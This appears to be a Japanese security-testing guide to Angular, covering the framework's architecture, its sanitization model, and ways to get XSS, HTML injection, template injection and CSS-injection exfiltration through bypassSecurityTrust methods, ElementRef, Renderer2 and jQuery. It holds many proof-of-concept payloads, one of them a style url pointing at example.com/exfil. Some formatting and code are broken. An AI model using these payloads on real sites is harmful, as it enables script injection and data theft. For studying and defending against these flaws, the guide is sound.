チェックリスト
チェックリストはこちら から。
Angularとは
Angularは、Google が維持する強力 でオープンソース のフロントエンドフレームワークです。TypeScript を使用してコードの可読性とデバッグを向上させています。強力なセキュリティメカニズムを備えており、XSS やオープンリダイレクト などの一般的なクライアントサイドの脆弱性を防止します。セキュリティの考慮事項は両方の側面 から重要です。
フレームワークのアーキテクチャ
Angularの基本をよりよく理解するために、その重要な概念を見ていきましょう。
一般的なAngularプロジェクトは通常次のようになります:
Copy my-workspace/
├── ... #workspace-wide configuration files
├── src
│ ├── app
│ │ ├── app.module.ts #defines the root module, that tells Angular how to assemble the application
│ │ ├── app.component.ts #defines the logic for the application's root component
│ │ ├── app.component.html #defines the HTML template associated with the root component
│ │ ├── app.component.css #defines the base CSS stylesheet for the root component
│ │ ├── app.component.spec.ts #defines a unit test for the root component
│ │ └── app-routing.module.ts #provides routing capability for the application
│ ├── lib
│ │ └── src #library-specific configuration files
│ ├── index.html #main HTML page, where the component will be rendered in
│ └── ... #application-specific configuration files
├── angular.json #provides workspace-wide and project-specific configuration defaults
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace
Angularアプリケーションには少なくとも1つのコンポーネント、DOMとコンポーネント階層を接続するルートコンポーネント(AppComponent
)があります。各コンポーネントは、アプリケーションデータとロジックを含むクラスを定義し、表示するビューを定義するHTMLテンプレートと関連付けられます。@Component()
デコレータは、直下のクラスをコンポーネントとして識別し、テンプレートと関連するコンポーネント固有のメタデータを提供します。AppComponent
はapp.component.ts
ファイルで定義されています。
AngularのNgModuleは、アプリケーションドメイン、ワークフロー、または関連する機能セットに専用のコンポーネントセットのコンパイルコンテキストを宣言します。すべてのAngularアプリケーションには、通常AppModule
という名前のルートモジュールがあり、アプリケーションを起動するブートストラップメカニズムを提供します。アプリケーションには通常、多くの機能モジュールが含まれています。AppModule
はapp.module.ts
ファイルで定義されています。
AngularのRouter
NgModuleは、アプリケーション内の異なるアプリケーション状態とビューヒエラルキーの間のナビゲーションパスを定義できるサービスを提供します。RouterModule
はapp-routing.module.ts
ファイルで定義されています。
特定のビューに関連付けられていないデータやロジックを共有したい場合は、サービスクラスを作成します。サービスクラスの定義は、@Injectable()
デコレータの直前に配置されます。このデコレータは、他のプロバイダがクラスに依存関係としてインジェクトされることを可能にするメタデータを提供します。依存性注入(DI)を使用すると、コンポーネントクラスをスリムで効率的に保つことができます。コンポーネントクラスはサーバーからデータを取得したり、ユーザー入力を検証したり、直接コンソールにログを記録したりしません。そのようなタスクはサービスに委任されます。
ソースマップの構成
Angularフレームワークは、TypeScriptファイルをJavaScriptコードに変換し、tsconfig.json
オプションに従ってプロジェクトをangular.json
構成でビルドします。angular.json
ファイルを見ると、ソースマップを有効または無効にするオプションがあることがわかりました。Angularのドキュメントによると、デフォルトの構成では、スクリプト用のソースマップファイルが有効になっており、デフォルトでは非表示になっていません。
Copy "sourceMap" : {
"scripts" : true ,
"styles" : true ,
"vendor" : false ,
"hidden" : false
}
データバインディング
バインディングとは、コンポーネントとそれに対応するビュー間の通信プロセスを指します。Angularフレームワークへのデータの送受信に使用されます。データは、イベント、補間、プロパティ、または双方向バインディングメカニズムを介してさまざまな手段で渡すことができます。さらに、データは関連するコンポーネント間(親子関係)や、Service機能を使用して関連のない2つのコンポーネント間で共有することもできます。
データフローによってバインディングを分類できます:
データソースからビューターゲットへ(補間、プロパティ、属性、クラス、スタイルを含む);テンプレート内で[]
または{{}}
を使用して適用できます。
ビューターゲットからデータソースへ(イベントを含む);テンプレート内で()
を使用して適用できます。
双方向;テンプレート内で[()]
を使用して適用できます。
バインディングは、プロパティ、イベント、属性、およびソースディレクティブの任意の公開メンバーに対して呼び出すことができます:
タイプ ターゲット 例 要素のプロパティ、コンポーネントのプロパティ、ディレクティブのプロパティ
<img [alt]="hero.name" [src]="heroImageUrl">
要素のイベント、コンポーネントのイベント、ディレクティブのイベント
<button type="button" (click)="onSave()">Save
<input [(ngModel)]="name">
<button type="button" [attr.aria-label]="help">help
<div [class.special]="isSpecial">Special
<button type="button" [style.color]="isSpecial ? 'red' : 'green'">
Angularセキュリティモデル
Angularの設計には、デフォルトですべてのデータのエンコードまたはサニタイズが含まれており、AngularプロジェクトでXSS脆弱性を発見および悪用することがますます困難になっています。データ処理には2つの異なるシナリオがあります:
補間または{{user_input}}
- コンテキストに応じたエンコードを実行し、ユーザー入力をテキストとして解釈します。
Copy //app.component.ts
test = "<script>alert(1)</script><h1>test</h1>" ;
//app.component.html
{{test}}
結果:<script>alert(1)</script><h1>test</h1>
2. プロパティ、属性、クラス、およびスタイルにバインディングするか、[attribute]="user_input"
- 提供されたセキュリティコンテキストに基づいてサニタイズを実行します。
Copy //app.component.ts
test = "<script>alert(1)</script><h1>test</h1>" ;
//app.component.html
< div [innerHtml]="test"></div>
結果:<div><h1>test</h1></div>
SecurityContext
には6つのタイプがあります:
STYLE
:CSSをstyle
プロパティにバインドする場合に使用
URL
:<a href>
などのURLプロパティに使用
RESOURCE_URL
:コードとしてロードおよび実行されるURL(例:<script src>
)に使用
脆弱性
セキュリティトラストメソッドのバイパス
Angularは、デフォルトのサニタイズプロセスをバイパスし、特定のコンテキストで値を安全に使用できることを示すためのメソッドのリストを導入しています。以下は、その5つの例です:
bypassSecurityTrustUrl
は、指定された値が安全なスタイルURLであることを示すために使用されます:
Copy //app.component.ts
this .trustedUrl = this . sanitizer .bypassSecurityTrustUrl ( 'javascript:alert()' );
//app.component.html
< a class = "e2e-trusted-url" [href]="trustedUrl">Click me</a>
//result
<a _ngcontent-pqg-c12 = "" class = "e2e-trusted-url" href = "javascript:alert()" >Click me</ a >
bypassSecurityTrustResourceUrl
は、指定された値が安全なリソースURLであることを示すために使用されます:
Copy //app.component.ts
this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png");
//app.component.html
< iframe [src]="trustedResourceUrl"></iframe>
//result
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
bypassSecurityTrustHtml
は、指定された値が安全なHTMLであることを示すために使用されます。この方法でscript
要素をDOMツリーに挿入しても、DOMツリーに追加される方法のため、囲まれたJavaScriptコードが実行されることはありません。
Copy //app.component.ts
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html tag</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");
//app.component.html
< p style = "border:solid" [innerHtml]="trustedHtml"></p>
//result
<h1>html tag</h1>
<svg onclick = "alert('bypassSecurityTrustHtml')" style = "display:block" >blah</ svg >
bypassSecurityTrustScript
は、指定された値が安全なJavaScriptであることを示すために使用されます。ただし、このメソッドを使用してテンプレート内でJSコードを実行できなかったため、その動作が予測不可能であることがわかりました。
Copy //app.component.ts
this .trustedScript = this . sanitizer .bypassSecurityTrustScript ( "alert('bypass Security TrustScript')" );
//app.component.html
< script [innerHtml]="trustedScript"></script>
//result
-
bypassSecurityTrustStyle
は、指定された値が安全なCSSであることを示すために使用されます。次の例は、CSSインジェクションを示しています:
Copy //app.component.ts
this .trustedStyle = this . sanitizer .bypassSecurityTrustStyle ( 'background-image: url(https://example.com/exfil/a)' );
//app.component.html
< input type = "password" name = "pwd" value = "01234" [style]="trustedStyle">
//result
Request URL: GET example.com/exfil/a
Angularは、ビューに表示する前にデータをサニタイズするsanitize
メソッドを提供しています。このメソッドは、提供されたセキュリティコンテキストを使用して入力をクリーンアップします。ただし、特定のデータとコンテキストに適切なセキュリティコンテキストを使用することが重要です。たとえば、HTMLコンテンツにSecurityContext.URL
を使用してサニタイズを適用すると、危険なHTML値に対する保護が提供されません。このようなシナリオでは、セキュリティコンテキストの誤用がXSS脆弱性を引き起こす可能性があります。
HTMLインジェクション
この脆弱性は、ユーザー入力がinnerHTML
、outerHTML
、またはiframe
のsrcdoc
にバインドされると発生します。これらの属性にバインドすると、HTMLがそのまま解釈されますが、入力はSecurityContext.HTML
を使用してサニタイズされます。したがって、HTMLインジェクションは可能ですが、クロスサイトスクリプティング(XSS)は発生しません。
innerHTML
の使用例:
Copy //app.component.ts
import { Component} from '@angular/core' ;
@ Component ({
selector : 'app-root' ,
templateUrl : './app.component.html'
})
export class AppComponent {
//define a variable with user input
test = "<script>alert(1)</script><h1>test</h1>" ;
}
//app.component.html
< div [innerHTML]="test"></div>
結果は <div><h1>test</h1></div>
です。
テンプレートインジェクション
クライアントサイドレンダリング(CSR)
Angular はテンプレートを活用してページを動的に構築します。このアプローチでは、Angular が評価するためにテンプレート式を二重の波括弧({{}}
)で囲むことが含まれます。この方法で、フレームワークは追加の機能を提供します。たとえば、{{1+1}}
のようなテンプレートは 2 として表示されます。
通常、Angular はテンプレート式と混同される可能性のあるユーザー入力をエスケープします(たとえば、`< > ' " `` などの文字)。これは、ブラックリストに登録された文字を使用しないようにするために、JavaScript 文字列オブジェクトを生成する関数を利用するなど、この制限を回避するために追加の手順が必要であることを意味します。ただし、これを達成するには、Angular のコンテキスト、そのプロパティ、および変数を考慮する必要があります。したがって、テンプレートインジェクション攻撃は次のように現れる可能性があります:
Copy //app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@ Component ({
selector : 'app-root' ,
template : '<h1>title</h1>' + _userInput
})
Copy < p >上記のように、`constructor`はObject `constructor`プロパティのスコープを指し、String constructorを呼び出して任意のコードを実行できるようにします。</ p >
< h4 >サーバーサイドレンダリング(SSR)</ h4 >
<p>CSRとは異なり、Angular UniversalはテンプレートファイルのSSRを担当します。これらのファイルはユーザーに配信されます。ただし、Angular UniversalはCSRで使用されているサニタイゼーションメカニズムをSSRセキュリティの向上にも適用します。SSRにおけるテンプレートインジェクション脆弱性は、使用されているテンプレート言語が同じであるため、CSRと同様に見つけることができます。</p>
< p >もちろん、PugやHandlebarsなどのサードパーティのテンプレートエンジンを使用する場合、新しいテンプレートインジェクション脆弱性が導入される可能性もあります。</ p >
< h3 >XSS</ h3 >
< h4 >DOMインタフェース</ h4 >
< p >前述のように、_Document_インタフェースを使用してDOMに直接アクセスできます。ユーザー入力が事前に検証されていない場合、クロスサイトスクリプティング(XSS)脆弱性が発生する可能性があります。</ p >
< p >以下の例では、`document.write()`および`document.createElement()`メソッドを使用しました。</ p >
Copy //app.component.ts 1
import { Component} from '@angular/core' ;
@ Component ({
selector : 'app-root' ,
template : ''
})
export class AppComponent {
constructor () {
document .open ();
document .write ( "<script>alert(document.domain)</script>" );
document .close ();
}
}
//app.component.ts 2
import { Component} from '@angular/core' ;
@ Component ({
selector : 'app-root' ,
template : ''
})
export class AppComponent {
constructor () {
var d = document .createElement ( 'script' );
var y = document .createTextNode ( "alert(1)" );
d .appendChild (y);
document . body .appendChild (d);
}
}
//app.component.ts 3
import { Component} from '@angular/core' ;
@ Component ({
selector : 'app-root' ,
template : ''
})
export class AppComponent {
constructor () {
var a = document .createElement ( 'img' );
a .src = '1' ;
a .setAttribute ( 'onerror' , 'alert(1)' );
document . body .appendChild (a);
}
}
Angular クラス
Angular で DOM 要素を操作するために使用できるいくつかのクラスがあります: ElementRef
、Renderer2
、Location
、Document
です。最後の2つのクラスの詳細な説明はオープンリダイレクト セクションで提供されています。最初の2つの主な違いは、Renderer2
API が DOM 要素とコンポーネントコードの間に抽象化レイヤーを提供する点であり、一方、ElementRef
は要素への参照を保持するだけです。そのため、Angular のドキュメントによると、ElementRef
API は直接 DOM へのアクセスが必要な場合にのみ使用すべきです。
ElementRef
には nativeElement
プロパティが含まれており、DOM 要素を操作するために使用できます。ただし、nativeElement
の不適切な使用は XSS インジェクションの脆弱性を引き起こす可能性があります。以下に示すように:
Copy //app.component.ts
import { Component , ElementRef , ViewChild , AfterViewInit } from '@angular/core' ;
@ Component ({
selector : 'app-root' ,
templateUrl : './app.component.html' ,
styleUrls : [ './app.component.css' ]
})
export class AppComponent {
...
constructor ( private elementRef : ElementRef ) {
const s = document .createElement ( 'script' );
s .type = 'text/javascript' ;
s .textContent = 'alert("Hello World")' ;
this . elementRef . nativeElement .appendChild (s);
}
}
Renderer2
は、ネイティブ要素への直接アクセスがサポートされていない場合でも安全に使用できる API を提供しますが、いくつかのセキュリティ上の欠陥があります。Renderer2
を使用すると、setAttribute()
メソッドを使用して HTML 要素に属性を設定することが可能で、これには XSS 防止メカニズムがありません。
Copy //app.component.ts
import {Component , Renderer2 , ElementRef , ViewChild , AfterViewInit } from '@angular/core' ;
@ Component ({
selector : 'app-root' ,
templateUrl : './app.component.html' ,
styleUrls : [ './app.component.css' ]
})
export class AppComponent {
public constructor (
private renderer2 : Renderer2
){}
@ ViewChild ( "img" ) img !: ElementRef ;
addAttribute (){
this . renderer2 .setAttribute ( this . img .nativeElement , 'src' , '1' );
this . renderer2 .setAttribute ( this . img .nativeElement , 'onerror' , 'alert(1)' );
}
}
//app.component.html
< img #img>
<button (click)="setAttribute()">Click me!</button>
DOM 要素のプロパティを設定するには、Renderer2.setProperty()
メソッドを使用して XSS 攻撃をトリガーできます:
Copy //app.component.ts
import {Component , Renderer2 , ElementRef , ViewChild , AfterViewInit } from '@angular/core' ;
@ Component ({
selector : 'app-root' ,
templateUrl : './app.component.html' ,
styleUrls : [ './app.component.css' ]
})
export class AppComponent {
public constructor (
private renderer2 : Renderer2
){}
@ ViewChild ( "img" ) img !: ElementRef ;
setProperty (){
this . renderer2 .setProperty ( this . img .nativeElement , 'innerHTML' , '<img src=1 onerror=alert(1)>' );
}
}
//app.component.html
< a #a></a>
<button (click)="setProperty()">Click me!</button>
研究中、Renderer2
の他のメソッド(setStyle()
、createComment()
、setValue()
)の動作も XSS および CSS インジェクションに関連して調査しました。しかし、これらのメソッドについては、機能上の制限により有効な攻撃ベクトルを見つけることができませんでした。
jQuery
jQuery は高速で小さく、機能豊富な JavaScript ライブラリであり、Angular プロジェクトで HTML DOM オブジェクトの操作を支援するために使用できます。ただし、このライブラリのメソッドは XSS 脆弱性を引き起こす可能性があることが知られています。Angular プロジェクトでいくつかの脆弱な jQuery メソッドがどのように悪用される可能性があるかを議論するために、このサブセクションを追加しました。
html()
メソッドは、一致した要素セットの最初の要素の HTML コンテンツを取得するか、すべての一致した要素の HTML コンテンツを設定します。ただし、設計上、HTML 文字列を受け入れる jQuery コンストラクタやメソッドは潜在的にコードを実行できます。これは、<script>
タグのインジェクションやコードを実行する HTML 属性の使用によって発生する可能性があります。
Copy //app.component.ts
import { Component , OnInit } from '@angular/core' ;
import * as $ from 'jquery' ;
@ Component ({
selector : 'app-root' ,
templateUrl : './app.component.html' ,
styleUrls : [ './app.component.css' ]
})
export class AppComponent implements OnInit
{
ngOnInit ()
{
$ ( "button" ) .on ( "click" , function ()
{
$ ( "p" ) .html ( "<script>alert(1)</script>" );
});
}
}
//app.component.html
< button >Click me</ button >
< p >some text here</ p >
jQuery.parseHTML()
メソッドは、文字列を DOM ノードのセットに変換するためにネイティブメソッドを使用し、その後ドキュメントに挿入できます。
Copy jQuery .parseHTML (data [ , context ] [ , keepScripts ])
前述のように、HTML 文字列を受け入れるほとんどの jQuery API は、HTML に含まれるスクリプトを実行します。jQuery.parseHTML()
メソッドは、keepScripts
が明示的に true
でない限り、解析された HTML のスクリプトを実行しません。ただし、ほとんどの環境では、例えば <img onerror>
属性を介してスクリプトを間接的に実行することができます。
Copy //app.component.ts
import { Component , OnInit } from '@angular/core' ;
import * as $ from 'jquery' ;
@ Component ({
selector : 'app-root' ,
templateUrl : './app.component.html' ,
styleUrls : [ './app.component.css' ]
})
export class AppComponent implements OnInit
{
ngOnInit ()
{
$ ( "button" ) .on ( "click" , function ()
{
var $palias = $ ( "#palias" ) ,
str = "<img src=1 onerror=alert(1)>" ,
html = $ .parseHTML (str) ,
nodeNames = [];
$palias .append (html);
});
}
}
//app.component.html
< button >Click me</ button >
< p id = "palias" >some text</ p >
Last updated 9 months ago